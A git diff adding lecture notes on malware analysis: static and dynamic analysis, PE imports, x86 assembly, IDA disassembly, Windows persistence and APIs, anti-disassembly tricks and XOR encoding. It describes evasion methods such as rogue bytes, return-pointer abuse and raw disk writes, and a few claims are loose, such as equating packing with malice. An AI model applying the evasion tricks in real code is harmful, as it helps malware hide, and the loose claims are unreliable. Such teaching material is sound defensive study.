+ - When the file is run through a hashing algorithm (often `md5` or `SHA-1`) it uniquely identifies it.
+ - This is useful to see if other malware analysts have seen this malware
+- Gleaning information from a **file’s strings**, functions and headers
+ - Note: microsoft uses the term wide character to describe its implementation of Uni-code strings.
+ - Strings can return
+ - IP addresses to where the malware is sending/receiving
+ - Windows system calls like `GetLayout` & `SetLayout` which are used in windows graphics library
+ - Windows libraries such as `GDI32.DLL` which is a graphics library.
+ - Therefore we can infer this malware opens a GUI display
+ - Note: strings will show the executable’s manifest at the end, a brief `xml` file.
+
+### Basic Dynamic Analysis
+
+- Running the malware and observing its behaviour on the system in order to:
+ - remove the infection
+ - produce effective signatures
+- Is important to note that a safe environment should be set up, so that the malware can be run without risk of damage to your system or network
+- Like basic static analysis, this can be useful but can miss important functionality
+
+### Advanced Static Analysis
+
+- Reverse-engineering the malware’s internals by loading the executable into a disassembler
+ - This involves looking at the instructions to discover what the malware does
+- This requires an in-depth knowledge of disassembly, code constructs and windows operating system constructs
+
+#### Problems with Static Analysis
+
+- Only shows us what is in the program
+ - Not how it is used (if it used at all)
+- Might see potential filename - but is that file created or deleted
+- Does it get used every time the program is run or under certain circumstances
+- Unsure of sequence of events
+- Just because we can’t see something, doesn’t mean the program doesn’t do it
+
+### Advanced Dynamic Analysis
+
+- Running the malware in a debugger to examine the internal state.
+- Allows you to see internal states of variables and how the program uses memory over time.
+
+### Packed and Obfuscated Malware
+
+Malware writers often use packing or obfuscation to make malware files more difficult to detect or analyse.
+
+**Obfuscated** programs are ones whose execution the malware author has attempted to hide
+
+- This can be done by changing variable names, minifying code
+
+**Packed** programs are a subset of obfuscated programs, in which the malware is compressed and cannot be analysed.
+
+- This stops us from being able to read strings from the program
+- If running strings on a program yields little information, the program is probably packed and therefore malicious.
+
+> Packed and obfuscated code will often include at least the functions `LoadLibrary` and `GetProcAddress`, which are used to load and gain access to additional functions.
+
+#### Packing Files
+
+When the packed program is run, a small wrapper program also runs to decompress the packed file and then run the unpacked file.
+
+- When a packed program is analysed statically, only the small wrapper program can be dissected
+
+
+
+- Programs like `PEiD` can be used to ascertain whether the file has been packed or not
+
+### Linked Libraries and Functions
+
+One of the most useful pieces of information we can gather about a program is the list of functions that it imports.
+
+- Code libraries can be connected to the main executable by *linking*
+- Code libraries can be linked statically, at runtime or dynamically
+
+##### Static Linking
+
+When a library is statically linked, all code from that library is copied into the executable which makes the executable grow in size.
+
+- It is difficult to differentiate between the programs code and the imported code as nothing in the PE header suggests the file contains linked code
+- This is the most uncommon method of linking
+
+##### Run-time Linking
+
+- Run-time linking is commonly used by malware, especially when packed or obfuscated
+- Executable files connect to libraries only when that function is needed, **not at program start**
+- `GetProcAddress` and `LoadLibrary` allow the program to access any function in any library on the system.
+ - This means when functions are used, we cannot tell statically which functions are linked.
+
+##### Dynamic Linking
+
+When libraries are dynamically linked, the host OS searches for necessary libraries when the program is loaded.
+
+- The PE file header stores information about every library that will be loaded and every function that will be used by the program
+
+#### Commonly linked DLLs
+
+- `Kernel32.dll`
+ - Very common library contains core functionality such as access & manipulation of memory, files and hardware.
+- `User32.dll`
+ - This `DLL` contains all the user-interface components such as buttons, scrolling etc
+
+#### Common imported functions
+
+The PE file header also includes information about specific functions used by an executable. The names alone will give clues however microsoft documents everything on MSDN
+
+- `FindFirstFileW`, `FindNextFileW`, `FindClose`
+ - These all involve searching the users system for files
+ - `FindFirstFileW` will include a string for regex, so we can see if its searching for all files `./*` or a specific `myFile.exe`
+- `ReadFile`, `WriteFile`
+- `SetWindowsHookExW`
+ - Often used to implement keylogs
+- `CreateWindowExW`, `DefWindowProcW`, `getWindowsTextW`, `setWindowsTextW` etc
+ - This relates to setting up a GUI
+- `RegisterHotkey`
+ - Find what this keypress is, to see what it does
+
+#### PE Header Summary
+
+| Field | Information Revealed |
+| --------------- | ------------------------------------------------------------ |
+| Imports | Functions from other libraries that are used by the malware |
+| Exports | Functions in the malware that are meant to be called by other programs or libraries |
+| Time Date Stamp | Time when the program was compiled |
+| Sections | Names of sections in the file and their sizes on disk and in memory |
+| Subsystem | Indicates whether the program is a command-line or GUI application |
+| Resources | Strings, icons, menus |
+
diff --git a/docs/lectures/malware/02_dynamic_analysis.md b/docs/lectures/malware/02_dynamic_analysis.md
new file mode 100644
index 0000000..0592a7c
--- /dev/null
+++ b/docs/lectures/malware/02_dynamic_analysis.md
@@ -0,0 +1,64 @@
+# Dynamic Analysis
+
+Programs = data structures + algorithms
+
+- All programs (including malware) are a series of instructions
+- That get executed by the CPU
+- By observing these instructions as they run, we can see what the program actually does
+
+##### Internal Actions
+
+- Some of the instructions will cause things to happen within the program
+- Only affecting the data within the program
+- We can analyse this but it requires us to get inside the program and watch what it does internally
+- Using tools like a *debugger*
+- Requires understanding of machine code
+
+##### External Actions
+
+- Programs also have effects outside the program
+- Can monitor the external actions and get an idea about the programs activity
+- Not just what the program does but also the order the program performs those actions
+
+##### Running the Malware
+
+Note:
+
+- It is important that dynamic analysis is done after the program has been statically analysed
+ - This is because the malware can put your system and network at risk
+- Can be tricky to make the malware run
+- If its distributed as a `.exe`, then we can just run it
+- But might do different things based on command line options
+- If its distributed as `.DLL`, then its more complicated
+- Can use `rundll32.exe` to start it and specify the export to call
+- As a last resort you can force the `.dll` to behave as a `.exe` by editing the PE header
+
+#### Monitoring with Process Monitor - ProcMon
+
+Process Monitor or procmon is an advanced monitoring tool for Windows that provides a way to monitor certain registry, file system, process and thread activity.
+
+- Procmon monitors all system calls
+ - Because there are so many system calls (around 50,000 per minute) it is import to filter by type
+- Filter by:
+ - **Registry** - Tells us how malware installs itself into the registry
+ - **File System** - Shows us all the files that the malware creates or config files it uses
+ - **Process Activity** - Tells us if the malware spawns any additional processes
+ - **Network** - Shows us if the malware is listening on any specific ports
+
+#### Comparing Registry Snapshots - RegShot
+
+An open-source registry comparison tool that allows you to take and compare two registry snapshots.
+
+- We can look for added values
+ - A malware has added a new registry key
+- Or modified keys
+ - A malware has modified a registry perhaps inserting itself into non-malicious software
+
+### General Steps
+
+1. Run procmon
+2. Run process explorer
+3. Get an initial snapshot with RegShot
+4. Run the malware
+5. Take another snapshot and compare, also analysing procmon and process explorer.
+
diff --git a/docs/lectures/malware/03_intro_x86.md b/docs/lectures/malware/03_intro_x86.md
new file mode 100644
index 0000000..4be3e03
--- /dev/null
+++ b/docs/lectures/malware/03_intro_x86.md
@@ -0,0 +1,200 @@
+# Crash Course in x86 Assembler
+
+- Malware authors creates programs at the high-level language and use a compiler to generate machine code to by run by the CPU
+- Malware analysts operate at the low-level language. Using disassembler to generate assembly code from the machine code to try and understand how the malware works
+
+
+
+### x86 Architecture
+
+x86 architecture follows the Von Neuman architecture and has three hardware components
+
+- CPU executes code
+- Main memory (RAM) stores all data and code instructions
+- An input/output system (I/O) interfaces with devices such as hard drives, keyboards and monitors
+
+
+
+#### Main Memory
+
+The main memory for a single program can be divided into the following four major sections.
+
+
+
+**Data** - Contains values that are put in place when a program is initially loaded
+
+**Code** - Includes the instructions fetched by the CPU to execute the programs tasks. The code controls what the program does
+
+**Heap** - The heap is used for dynamic memory during program execution, to create (or allocate) new values and eliminate (free) values that the program no longer needs. The heap’s size changes frequently while the program runs
+
+**Stack** - The stack is used for local variables and parameters for functions, and to help control program flow
+
+##### Instructions
+
+Each instruction is comprised of an **opcode** and zero or more **operands**.
+
+**opcode** - instruction
+
+**operand** - argument or data
+
+**endianess**
+
+- Whether the most significant bit is at the start or the end of a binary stream.
+ - **Big-endian** is where the most significant bit is first
+ - **Little-endian** is where the least significant bit is first
+
+Disassemblers translate opcodes into human-readable instructions e.g.
+
+```
+B9 42 00 00 00
+mov ecx, 0x42
+```
+
+###### Operands
+
+Three types of operands are used in x86
+
+1. *Immediate* operands are fixed values
+2. *Register* operands refer to registers
+3. *Memory address* operands refer to a memory address that contains the value of interest, typically denoted by `[reg]`
+
+###### Registers
+
+A register is a small amount of data storage available to the CPU, that’s really quick. There are four categories:
+
+1. *General registers* are used by the CPU during execution
+2. *Segment registers* are used to track sections of memory
+3. *Status flags* are used to make decisions
+4. *Instruction pointers* are used to keep track of the next instruction to execute
+
+
+
+All general registers are 32-bits but can be referenced as either 32 or 16 bits in assembly code (for backwards compatibility reasons)
+
+`EDX` - full 32-bits
+
+`DX` - lower 16 bits
+
+Registers `EAX`, `EBX`, `ECX`, `EDX` can be referenced as 8 bit registers
+
+
+
+Some x86 instructions use specific registers by definition.
+
+- Multiplication and division instructions always use `EAX` and `EDX`
+- `EAX` generally contains the return value for function calls
+- However these are just conventions and can change
+
+###### Flags
+
+The `EFLAGS` register is a status register 32-bits big, this means it can store 32 flags. During execution, each flag is either set to 1 if true
+
+- **ZF** - The zero flag is set if the result of the operation was equal to zero
+- **CF** - The carry flag is set when the result of an operation is too large or too small for the destination operand.
+
+###### EIP - Instruction Pointer
+
+`EIP` contains the memory location of the next instruction to be executed
+
+
+
+##### NOP
+
+`nop` - no operation - does nothing
+
+When issued, execution simply preceeds to the next instruction
+
+#### The Stack
+
+Memory for functions, local variables and flow control is stored in the stack (LIFO)
+
+`ESP` - Stack pointer, points to the memory address at the top of the stack
+
+`EBP` - Stack base pointer, stays consistent within a function. The program can use it as a placeholder to keep track of the location of local variables
+
+##### Function Calls
+
+Main code calls and temporarily transfers execution to functions before returning to the main code.
+
+Many functions contain a **prologue** and an **epilogue**
+
+- The **prologue** is a few lines of code at the start of the function which prepares the stack and registers for use within the function
+- The **epilogue** is at the end of the function and restores the stack and registers to their state before the function was called
+
+When a function is called:
+
+1. Arguments are placed on the stack using `push` instructions
+2. A function called using `memory_location` which changes `EIP` to the address of the first instruction in the function and returns `EIP` to main code once the function is finished
+3. The function prologue pushes local variables, parameters and `EBP` onto the stack
+4. The function executes
+5. The function epilogue restores the stack, `ESP` is adjusted to free local variables, and `EBP` is restored so that the calling function can address its variables.
+ - The `leave` instruction sets `ESP` equal to `EBP` and pops `EBP` off the stack
+6. The function returns by calling `ret`, this pops the return address off the stack into `EIP`
+7. The stack is adjusted to remove sent arguments
+
+
+
+
+
+###### Passing Arguments
+
+`c` functions and windows `api` calls, functions are called differently.
+
+There are two things to think about
+
+1. Who’s responsible for cleaning up the stack after the function has run, the caller or the callee
+2. Which order do you put the arguments on the stack
+
+The three most common calling conventions are `cdecl`, `stdcall` and `fastcall`.
+
+Example pseudo code
+
+```
+int test(int x, int y, int z);
+int a, b, c, ret;
+
+ret = test (a, b, c);
+```
+
+###### cdecl
+
+- In `cdecl` parameters are pushed onto the stack from right to left
+
+- The caller cleans up the stack when the function is complete
+
+- Return value stored in `EAX`
+
+- ```assembly
+ push c
+ push b
+ push a
+ call test
+ add esp, 12
+ mov ret, eax
+ ```
+
+- Note line 5 is the caller cleaning up the stack
+
+- Function names have an underscore prefix to denote `cdecl` used.
+
+###### stdcall
+
+- `stdcall` is similar to `cdecl` however the callee is required to clean the stack
+- Therefore line 5 in the previous example would not be needed in `stdcall`
+- `stdcall` is used for Windows API functions
+- Functions have underscore prefix, name followed by `@` and length of arguments
+
+###### fastcall
+
+- In `fastcall` the first few arguments (typically first two) are passed in registers `EDX` and `ECX`
+- Additional arguments are loaded right to left
+- Calling function is responsible for cleaning the stack
+- This is quicker as less data needs to be pushed to and retrived from the stack
+- # Functions have underscore prefix, name followed by `@` and length of arguments
+
+When debugging windows functions, you can look at `EBP` to retrace the route the program took through the code
+
+#### Conditionals
+
+
+
diff --git a/docs/lectures/malware/04_disassembler.md b/docs/lectures/malware/04_disassembler.md
new file mode 100644
index 0000000..c95d373
--- /dev/null
+++ b/docs/lectures/malware/04_disassembler.md
@@ -0,0 +1,232 @@
+# Disassembler
+
+> Sucessful reverse engineers do not evaluate each instruction individually unless they must. The process is too tedious.
+
+### Global vs Local Variables
+
+*Globbal variables* can be accessed and used by any function in the program.
+
+*Local variables* can be accessed only by the function in which they are defined.
+
+Both types of variables are declared similarly in `c` but completely differently in assembly.
+
+> **Global** variables are referenced by **memory addresses**
+>
+> **Local** variables are referenced by **stack addresses**
+
+### Recognising if Statements
+
+In IDA, branches will be represented as such:
+
+```c
+int x = 1;
+int y = 2;
+
+if (x == y){
+ printf("x equals y\n");
+} else {
+ printf("x does not equals y\n");
+}
+```
+
+```assembly
+00401006 mov [ebp+var_8], 1
+0040100D mov [ebp+var_4], 2
+00401014 mov eax, [ebp+var_8]
+00401017 cmp eax, [ebp+var_4]
+0040101A jnz short loc_40102B
+0040101C push offset aXEqualsY_ ; "x equals y.\n"
+00401021 call printf
+00401026 add esp, 4
+00401029 jmp short loc_401038
+0040102B loc_40102B:
+0040102B push offset aXIsNotEqualToY ; "x is not equal to y.\n"
+00401030 call printf
+```
+
+Here the instruction `jnz` on line 5 causes the branch. A `cmp` is done between `ebp+var_8` (y) and `ebp+var_4`(x). If the values are not equal, then we jump to “x is not equal to y”
+
+This is what that looks like in IDA
+
+
+
+### Recognising Loops
+
+##### Finding for loops
+
+For loops have 4 basic components:
+
+1. initialisation
+2. comparison
+3. execution instructions
+4. increment/decrement
+
+```c
+int i;
+
+for (i=0; i<100; i++)
+{
+ printf("i equals %d\n", i);
+}
+```
+
+```assembly
+mov [ebp+var_4], 0 ; INITIALISATION
+jmp short loc_401016
+loc_40100D:
+mov eax, [ebp+var_4] ; INCREMENT START
+add eax, 1
+mov [ebp+var_4], eax ; INCREMENT STOP
+loc_401016:
+cmp [ebp+var_4], 64h ; COMPARISON
+jge short loc_40102F ; COMPARISON
+mov ecx, [ebp+var_4]
+push ecx
+push offset aID ; "i equals %d\n"
+call printf
+add esp, 8
+jmp short loc_40100D ; UNCONDITIONAL JUMP
+```
+
+
+
+Note: the box on the bottom right is the function’s epilogue
+
+##### Finding While Loops
+
+While loops look similar to for loops in assembly, but are easier to understand.
+
+```c
+int status = 0;
+int result = 0;
+
+while (status == 0)
+{
+ result = performAction();
+ status = checkResult(result);
+}
+```
+
+The assembly for this code will look similar from before however it lacks the *increment* section.
+
+```assembly
+mov [ebp+var_4], 0
+mov [ebp+var_8], 0
+loc_401044:
+cmp [ebp+var_4], 0
+jnz short loc_401063 ; CONDITIONAL JUMP
+call performAction
+mov [ebp+var_8], eax
+mov eax, [ebp+var_8]
+push eax
+call checkResult
+add esp, 4
+mov [ebp+var_4], eax
+jmp short loc_401044 ; UNCONDITIONAL JUMP
+```
+
+A conditional jump occurs on line 5 and an unconditional jump at line 13, but the only way for this code to stop executing repeatedly is for that conditional jump to occur.
+
+#### Understanding Function Call Conventions
+
+Function call conventions govern:
+
+- The order in which parameters are placed on the stack or in registers
+- Whether the caller or callee is responsible for cleaning up the stack
+
+Calling convention depends on the compiler used
+
+```c
+int adder(int a, int b)
+{
+ return a+b;
+}
+
+void main()
+{
+ int x=1;
+ int y=2;
+
+ printf("adder(1,2): %d", adder(x,y));
+}
+```
+
+
+
+
+
+### Switch Statements
+
+Switch statements are compiled in two different ways: if style or using jump tables
+
+```c
+switch(i)
+{
+ case 1:
+ printf("i = %d", i+1);
+ break;
+ case 2:
+ printf("i = %d", i+2);
+ break;
+ case 3:
+ printf("i = %d", i+3);
+ break;
+ default:
+ break;
+}
+```
+
+##### If Style
+
+
+
+##### Jump Table
+
+This example is usually found with large contiguous `switch` statements. The compiler optimises the code to avoid needing to make so many comparisons
+
+
+
+This assembly uses a jump table which defines offsets to additional memory locations. The switch variable (stored in `ecx`) is used as an index into the jump table.
+
+`edx` is multiplied by 4 and added to the base of the jump table to determine which case code block to jump to.
+
+It is multiplied by 4 because each entry in the jump table is an address that is 4 bytes in size.
+
+### Disassembling Arrays
+
+```c
+int b[5] = {123, 87, 487, 7, 978};
+void main()
+{
+ int i;
+ int a[5];
+ for(i = 0; i<5; i++)
+ {
+ a[i] = i;
+ b[i] = i;
+ }
+}
+```
+
+In assembly, arrays are accessed using a base address as a starting point. The size of each element is not always obvious, but can be determined by seeing how the array is being indexed.
+
+```assembly
+00401006 mov [ebp+var_18], 0
+0040100D jmp short loc_401018
+0040100F loc_40100F:
+0040100F mov eax, [ebp+var_18]
+00401012 add eax, 1
+00401015 mov [ebp+var_18], eax
+00401018 loc_401018:
+00401018 cmp [ebp+var_18], 5
+0040101C jge short loc_401037
+0040101E mov ecx, [ebp+var_18]
+00401021 mov edx, [ebp+var_18]
+00401024 mov [ebp+ecx*4+var_14], edx ; LOCAL
+00401028 mov eax, [ebp+var_18]
+0040102B mov ecx, [ebp+var_18]
+0040102E mov dword_40A000[ecx*4], eax ; GLOBAL
+00401035 jmp short loc_40100F
+```
+
+In both cases `ecx` is used as the index, which is multiplied by 4 to account for the size of the elements. This is added onto the base address of the array to access the proper array element.
diff --git a/docs/lectures/malware/05_windows_analysis.md b/docs/lectures/malware/05_windows_analysis.md
new file mode 100644
index 0000000..c2805b7
--- /dev/null
+++ b/docs/lectures/malware/05_windows_analysis.md
@@ -0,0 +1,163 @@
+# Analysing Malicious Windows Programs
+
+## The Windows API
+
+##### Types and Hungarian Notation
+
+`DWORD` - 32 bit unsigned integer
+
+`WORD` - 16 bit unsigned integer
+
+Hungarian notation is where variables are prefixed with their data type e.g. `dwSize` has prefix `dw` for `DWORD` indicating it is a 32 bit unsigned int
+
+| Type and Prefix | Description |
+| ------------------- | ------------------------------------------------------------ |
+| `WORD` (`w`) | A 16 bit unsigned vvalue |
+| `DWORD` (`dw`) | A double word, 32-bit unsigned value |
+| Handles (`H`) | A reference to an object. The information stored in the handle is no documented, and the handle should be manipulated only by the Windows API |
+| Long Pointer (`LP`) | A pointer to another type e.g. `LPByte` is a pointer to a byte. Strings are usually prefixed with `LP` because they are actually pointers. |
+| Callback | Represents a function that will be called by the Windows API |
+
+##### Handles
+
+*Handles* are items that have been opened or created in the OS, such as a window, process, module, menu, file etc.
+
+- Handles are like pointers in that they refer to an object or memory location
+ - Unlike pointers handles cannot be used in arithmetic operations
+- The only use case is storing it and use it later in a function call
+
+##### File System Functions
+
+Most malware will interact with the system by creating or modifying files. Microsoft provides several functions for accessing the file system:
+
+- `CreateFile` - used to create and open files. It can open existing files, pipes, streams and I/O devices.
+- `ReadFile` and `WriteFile` - used for reading and writing to the contents of files. Both operate on files as a stream.
+- `CreateFileMapping` and `MapViewOfFile` - *File mappings* are commonly used by malware writers because they allow a file to be loaded into memory and manipulated easily.
+ - `CreateFileMapping` loads a file from disk into memory
+ - `MapViewOfFile` returns a pointer to the base address of the mapping, this can be used to access the file in memory
+
+##### Special Files
+
+Windows has a number of file types that can be accessed much like regular files, but that are not accessed by their drive letter and folder (like `C:\docs`)
+
+###### Shared Files
+
+Sharted files are special files with names that start with `\\serverName\share` or `\\?\serverName\share`
+
+- They access directories or files in a shared folder stored on a network.
+ - `\\?\` prefix tells the OS to disable all string parsing and allows access to longer filenames
+
+###### Files Accessible via Namespaces
+
+*Namespaces* can be thought of as a fixed number of folders, each storing different types of objects
+
+- The lowest level namespace is `NT` with the prefix `\.`
+- The `NT` namespace has access to all devices, and all other namespaces exist within the `NT` namespace
+
+The `Win32` device namespace (prefix `\\.\`) is often used to access physical devices directly and read/write to them like a file.
+
+- `\\.\PhysicalDisk1` to directly access the disk while ignoring its file system
+- By doing this malware can read and write data to an unallocated sector in the drive without creating a file
+ - This is very good for avoiding detection
+
+###### Alternate Data Streams
+
+ADS allows additional data to be addwed to an existing file within `NTFS`
+
+- The extra data doesn’t show up in a directory listing nor when displaying the contents of the file
+ - It’s only visible when accessing the stream
+- ADS data is named `normalFile.txt:Stream:$DATA`
+
+## The Windows Registry
+
+The *Windows registry* is used to store OS and program configuration information, such as settings and options.
+
+In early versions of windows the registry was just a hierarchy of `.ini` files to improve performance.
+
+Malware often uses the registry for *persistence* or configuration data. The malware adds entries into the registry that will allow it to run automatically when the computer boots.
+
+- **Root key** - The registry is divided into five top-level sections called *root keys* (sometimes called `HKEY`)
+- **Subkey** - Akin to a subfolder within a folder
+- **Key** - A key is a folder in the registry that can contain additional folders or values
+ - The root key and subkey are both keys
+- **Value entry** - A *value entry* is an ordered pair with a name and value
+- **Value or data** - The data stored in a registry entry
+
+#### Registry Root Keys
+
+- `HKEY_LOCAL_MACHINE` (`HKLM`) - Stores settings that are global to the local machine
+ - Contains ` HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
+ - This is the key that stores a list of executables that are run at start up
+- `HKEY_CURRENT_USER` (`HKCU`) - Stores settings specific to the current user
+ - This is a virtual key, stored in `HKEY_USERS\SID`
+ - Where `SID` is the security identifier of the user currently logged in
+- `HKEY_CLASSES ROOT` - Stores information defining types
+- `HKEY_CURRENT_CONFIG` - Stores settings about the current hardware configuration, specifically differences between the current and standard configuration
+- `HKEY_USERS` - Defines settings for the default user, new user and current user
+
+##### Common Registry Functions
+
+- `RegOpenKeyEx` - Opens a registry for editing and querying
+- `RegSetValueEx` - Adds a new value to the registry and sets its data
+- `RegGetValue` - Returns the data for a value entry in the registry
+
+You can use RegEdit to view and edit the registry.
+
+### Networking APIs
+
+
+
+## Following Malware Execution
+
+#### DLLs
+
+To store malicious code:
+
+- Malware often uses a `dll` to load itself into another process
+ - This is because one process can only contain one `.exe`
+
+By using Windows `dll`s:
+
+- Windows dlls contain the functionality to interact with the OS
+- By looking at what dlls are used can help find the functionality of the malware
+
+By using third-party `dll`s
+
+- This can provide further insight to what the malware does
+ - e.g. if it uses a mozilla `dll` instead of the standard windows api, it might be usiing functions not found in the windows api such as encryption
+
+`DLL`s are similar to `EXE`s, there’s a flag in the PE to indicate the file is a dll.
+
+#### Processes
+
+- Malware can execute outside the current program by creating a new process or modifying an existing one.
+ - A process is a program being executed by Windows
+- Each process manages its own resources such as open handles and memory
+- A process contains one or more threads that are executed by the CPU.
+- `CreateProcess` can be used to create a new process
+
+#### Threads
+
+Processes are the container for execution, but *threads* are what the windows OS executes.
+
+- Threads are independent sequences of instructions that are executed by the CPU without waiting for other threads
+- A process contains one or more threads, which execute part of the code within a process.
+- Threads within a process all share a memory space but have seperate registers and stack
+
+`CreateThread` can be used to create new threads
+
+1. Malware can use `CreateThread` to load a new malicious library into a process with `CreateThread` called and the address of `LoadLibrary` as the start address
+2. Malware can create two new threads: one to listen on a socket or port and then output that to standard input of a process, and the other to read from standard output and send that to a socket.
+
+#### Services
+
+Another way for malware to execute additional code is by installing it as a *service*.
+
+- Windows allows tasks to run without their own processes or threads by using services that run as background applications
+ - Code is scheduled and run by the Windows service manager without user input.
+- Services are normally run as `SYSTEM` or another privileged account
+- Key service functions:
+ - `OpenSCManager` Returns a handle to the service control manager
+ - `CreateService` - Adds a new service to the service control manager
+ - Allows caller to specify whether the service will start automatically at boot time, or started manually
+ - `StartService` Starts the service, only used if service needs to be started manually
diff --git a/docs/lectures/malware/06_anti_disassembly.md b/docs/lectures/malware/06_anti_disassembly.md
new file mode 100644
index 0000000..eed52dc
--- /dev/null
+++ b/docs/lectures/malware/06_anti_disassembly.md
@@ -0,0 +1,156 @@
+# Anti-Disassembly
+
+Sequences of executable code can have multiple disassembly representations, some may be invalid and some may obscure the real functionality of the program.
+
+> Anti-disassembly techniques work by taking advantage of the assumptions and limitations of disassemblers.
+>
+> For example, disassemblers can only represent each byte of a program as part of one instruction at a time. If the disassembler is tricked into disassembling at the wrong offset, a valid instruction could be hidden from view.
+
+### Linear Disassembly
+
+Linear disassembly strategy iterates over a block of code, disassembling one instruction at a time linearly, without deviating.
+
+- It uses the size of the disassembled instruction to determine which byte to disassemble next, with no regard for flow control instructions.
+
+### Flow-Oriented Disassembly
+
+This method is used by IDA
+
+- The key difference between linear and flow-oriented is that the disassembler doesn’t blindly irate over a buffer, assuming the data is noting but instructions packed neatly together
+- Instead it examines each instruction and builds a list of locations to disassemble
+ - Most flow-oriented disassemblers will process the false branch of a conditional jump
+ - Pressing the `C` key turns the cursor location into code
+ - Pressing the `D` key turns the cursor location into data
+
+### Anti-Disassembler Techniques
+
+#### Jump Instructions with the same Target
+
+The most common anti-disassembly technique seen in the wild is two back-to-back conditional jump instructions that both *point to the same target*.
+
+- For example the instruction `jz loc_512` followed by `jnz loc_512` will always be executed
+- However if the disassembler favours the false branch it could disassemble code that will never be reached
+
+#### Jump Instruction with a Constant Condition
+
+Another anti-disassembly technique commonly found in the wild is composed of a single conditional jump instruction placed where the condition will always be the same.
+
+#### Impossible Disassembly
+
+Under some conditions, no traditional assembly listing will accurately represent the instructions that are executed. We use the term *impossible disassembly* for such conditions, but the term isn’t strictly accurate. You could disassemble these techniques, but you would need a vastly different representation of code than what is currently provided by disassemblers.
+
+- A *rogue byte* is a byte placed after a conditional jump instruction
+ - This means the real instruction that follows will not be disassembled
+
+
+
+1. The first instruction moves data `0xEB05` into the `AX` register
+2. The second instruction zeros out this register and sets the zero flag
+3. The third is a conditional jump - but is actually an unconditional jump as the zero flag will always be set
+4. The disassembler will continue disassembling the fake `CALL` instruction that will never be reached
+
+```assembly
+66 B8 EB 05 mov ax, 5EBh
+31 C0 xor eax, eax
+74 F9 jz short near ptr sub_4011C0+1
+ loc_4011C8:
+E8 58 C3 90 90 call near ptr 98A8D525h
+```
+
+What it could look like in IDA, note the `+1`.
+
+- However after converting it to data and back to code, so that the only instructions visible are the `xor` instruction and the hidden instructions
+
+```assembly
+66 byte_4011C0 db 66h
+B8 db 0B8h
+EB db 0EBh
+05 db 5
+; -------------------------------------------------------
+31 C0 xor eax, eax
+; -------------------------------------------------------
+74 db 74h
+F9 db 0F9h
+E8 db 0E8h
+; -------------------------------------------------------
+58 pop eax
+C3 retn
+```
+
+- This only shows the instructions that are relevent to understanding the program
+- However this solution may interfere with flow graphs.
+ - Since its difficult to tell how the `xor`, `pop` and `retn` instructions are used
+
+### Obscuring Flow Control
+
+#### The Function Pointer Problem
+
+If function pointers are used in handwritten assembly or crafted in a **nonstandard way** in source code, the results can be difficult to reverseengineer without dynamic analysis.
+
+```assembly
+004011D0 sub_4011D0 proc near ; CODE XREF: _main+19p
+004011D0 ; sub_401040+8Bp
+004011D0
+004011D0 var_4 = dword ptr -4
+004011D0 arg_0 = dword ptr 8
+004011D0
+004011D0 push ebp
+004011D1 mov ebp, esp
+004011D3 push ecx
+004011D4 push esi
+004011D5 mov [ebp+var_4], offset sub_4011C0 ;1
+004011DC push 2Ah
+004011DE call [ebp+var_4] ;2
+004011E1 add esp, 4
+004011E4 mov esi, eax
+004011E6 mov eax, [ebp+arg_0]
+004011E9 push eax
+004011EA call [ebp+var_4] ;3
+004011ED add esp, 4
+004011F0 lea eax, [esi+eax+1]
+004011F4 pop esi
+004011F5 mov esp, ebp
+004011F7 pop ebp
+004011F8 retn
+004011F8 sub_4011D0 endp
+```
+
+Here `sub_4011C0` is called three times but IDA only recognised it once at `1`.
+
+###### Adding Missing Code Cross-References in IDA
+
+We can manually add these in using `AddCodeXref`
+
+#### Return Pointer Abuse
+
+- `Call` is a combination of `jmp` and `push`
+ - As it jumps to the new function and pushes a return address onto the stack
+- `retn` instruction pops the value from the top of the stack and jumps to it.
+ - Typically used to return a function call
+ - However no reason why malware authors can’t use it to obscure code
+
+```assembly
+004011C0 sub_4011C0 proc near ; CODE XREF: _main+19p
+004011C0 ; sub_401040+8Bp
+004011C0
+004011C0 var_4 = byte ptr -4
+004011C0
+004011C0 call $+5
+004011C5 add [esp+4+var_4], 5
+004011C9 retn
+004011C9 sub_4011C0 endp ; sp-analysis failed
+
+004011CA ; ----------------------------------------------
+004011CA push ebp
+004011CB mov ebp, esp
+004011CD mov eax, [ebp+8]
+004011D0 imul eax, 2Ah
+004011D3 mov esp, ebp
+004011D5 pop ebp
+004011D6 retn
+```
+
+- Here `var_4` is set to the constant `-4`
+- This means `add [esp+4+var_4], 5` is actually `add [esp+4+(-4)]`
+ - `0x4011C9 + 0x5 = 0x4011CA`
+ - The `retn` instruction jumps to that memory location
diff --git a/docs/lectures/malware/07_data_encoding.md b/docs/lectures/malware/07_data_encoding.md
new file mode 100644
index 0000000..018ba70
--- /dev/null
+++ b/docs/lectures/malware/07_data_encoding.md
@@ -0,0 +1,105 @@
+# Data Encoding
+
+Malware uses encoding for a variety of reasons, the main one is for encrypting network-based communication.
+
+- Malware needs to hide its intent
+- This applies to both its operation but also to the data it uses
+- Data encoding refers to all forms of content modification used for the purpose of hiding intent
+- Malware will use data encoding to:
+ - Hide configuration information
+ - Save information to a staging file before stealing it
+ - To store strings used by the malware
+ - Imagine a key logger, logs what the user is searching for. The file would come up
+ - Disguise itself as a legitimate tool
+
+When analysing the goal is to first find the encryption functions and then using that to decode whatever information is encoded.
+
+#### Mechanisms for data encoding
+
+- Malware could (and does) use standard cryptographic algorithms for data encoding
+ - These algorithms have high entropy
+ - This can be seen in IDA
+ - Ransomware will use standard encryption as they want the data to not be decrypted
+- But malware is just as likely to use simple techniques
+ - Are small enough to be used in space-constrained environments
+ - Less obvious than more complex ciphers
+ - Low overhead, little impact on performance
+- Not expecting immunity from being cracked, rather simply looking for an easy way to prevent basic analysis.
+
+#### XOR Cipher
+
+- Common mechanism used by malware authors
+- Convenient to use
+ - Simple to implement (one instruction)
+ - Reversible - same function can encode and decode
+
+##### Brute Forcing xor encoding
+
+- Very easy to brute force crack simple xor encoding
+- Only one of 256 possible values used to encode data
+- Simply take a portion of the encoded text and attempt to decode it using each possible byte
+- Look at each result to see if anything interesting pops out
+- Can also be pre-computed if you know a string might be present
+ - e.g. `This program cannot be run in DOS mode`
+ - $k \oplus 0=k$, in the pre-ample there’s a lot of 0s, which means the key will be visible
+
+#### Null-Preserving Single Byte XOR Encoding
+
+- Use NULL-preserving single byte encoding scheme
+- Rather than xor every byte, this has two rules
+ 1. If byte is zero, or the key value then the byte is skipped
+ 2. Else, xor
+- Still reversible
+
+```c
+while(c = fgetc(fi), c!=EOF)
+{
+ if (c!=0 && c!=key)
+ {
+ c ^= key;
+ }
+ fputc(c, fo);
+}
